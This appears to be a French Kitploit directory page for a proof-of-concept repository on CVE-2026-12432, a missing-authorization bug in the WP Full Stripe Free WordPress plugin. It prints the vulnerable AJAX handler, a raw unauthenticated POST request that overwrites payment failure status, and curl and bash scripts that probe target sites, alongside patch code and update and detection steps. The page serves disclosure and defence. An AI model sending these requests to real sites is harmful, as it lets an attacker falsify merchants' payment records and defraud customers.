Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
Outils/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 1 moisPas encore vérifié

CVE-2026-12432 : WP Full Stripe Free <= 8.4.3 - Autorisation manquante

Vue d'ensemble

  • Identifiant CVE : CVE-2026-12432
  • Score CVSS : 5,3 (Moyen)
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Versions concernées : Stripe Payment Forms by WP Full Pay <= 8.4.3
  • Version corrigée : >= 8.4.4
  • Publié : 26 juin 2026
  • Dernière mise à jour : 27 juin 2026
  • Chercheur : Netwurm - VTDR e.V.i.G.

Description de la vulnérabilité

Le plugin WP Full Stripe Free pour WordPress est vulnérable à une autorisation manquante dans les versions jusqu'à la 8.4.3 incluse via l'action AJAX wpfs_update_failed_payment_status.

Cause racine

Le point de terminaison AJAX vulnérable est enregistré via les hooks wp_ajax_ et wp_ajax_nopriv_ :

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

La fonction update_failed_payment_status() (lignes 3835-3865) effectue :

  • ❌ AUCUNE vérification de capacité (pas de current_user_can())
  • ❌ AUCUNE vérification de nonce (pas de wp_verify_nonce())
  • ❌ AUCUNE vérification de connexion (pas de is_user_logged_in())

Code vulnérable

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Vecteur d'attaque

Prérequis

  • L'identifiant Payment Intent doit être connu (exposé dans le navigateur lors d'un paiement Stripe normal)
  • Aucune authentification requise

Étapes de l'attaque

  1. Identifier la cible : Trouver un site WordPress avec WP Full Stripe Free <= 8.4.3 installé
  2. Obtenir l'identifiant Payment Intent : L'extraire du flux de paiement Stripe.js ou des transactions précédentes
  3. Envoyer la requête malveillante : Construire une requête POST vers admin-ajax.php avec des paramètres contrôlés par l'attaquant

Requête HTTP

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

Évaluation de l'impact

Domaine d'impactGravitéDescription
Intégrité

Impacts spécifiques

  1. Manipulation des enregistrements de paiement : L'attaquant peut modifier le statut du paiement de « payé » à « échoué »
  2. Codes d'échec falsifiés : L'attaquant peut injecter des codes/messages d'échec arbitraires
  3. Ingénierie sociale : Peut être utilisé pour frauder les clients ou contester des paiements légitimes
  4. Corruption de la piste d'audit : Les enregistrements commerciaux peuvent être falsifiés

Preuve de concept (curl)

Détection de base

root@kitploit:~
# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

Script PoC complet

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

Remédiation

Correctif immédiat

Ajoutez une vérification d'autorisation à wpfs-customer.php à la ligne 3835 :

root@kitploit:~
function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

Correctif recommandé (par l'éditeur)

Mettez à jour vers WP Full Stripe Free >= 8.4.4

root@kitploit:~
# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Détection

Vérification manuelle

  1. Vérifiez la version du plugin dans l'administration WordPress
  2. Examinez wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. Recherchez l'absence de current_user_can() avant les gestionnaires AJAX

Détection automatisée

root@kitploit:~
# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

Références

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • Canal Telegram W.P.E.F #1
  • Canal Telegram W.P.E.F #2 --

Chronologie

  • 26 juin 2026 : Vulnérabilité divulguée publiquement
  • 27 juin 2026 : CVE-2026-12432 publiée
  • Correctif : Mettre à jour vers >= 8.4.4
Télécharger l’outil
Moyenne
Les attaquants peuvent marquer des paiements réussis comme échoués
ConfidentialitéAucuneAucune exposition de données
DisponibilitéFaiblePeut perturber les opérations commerciales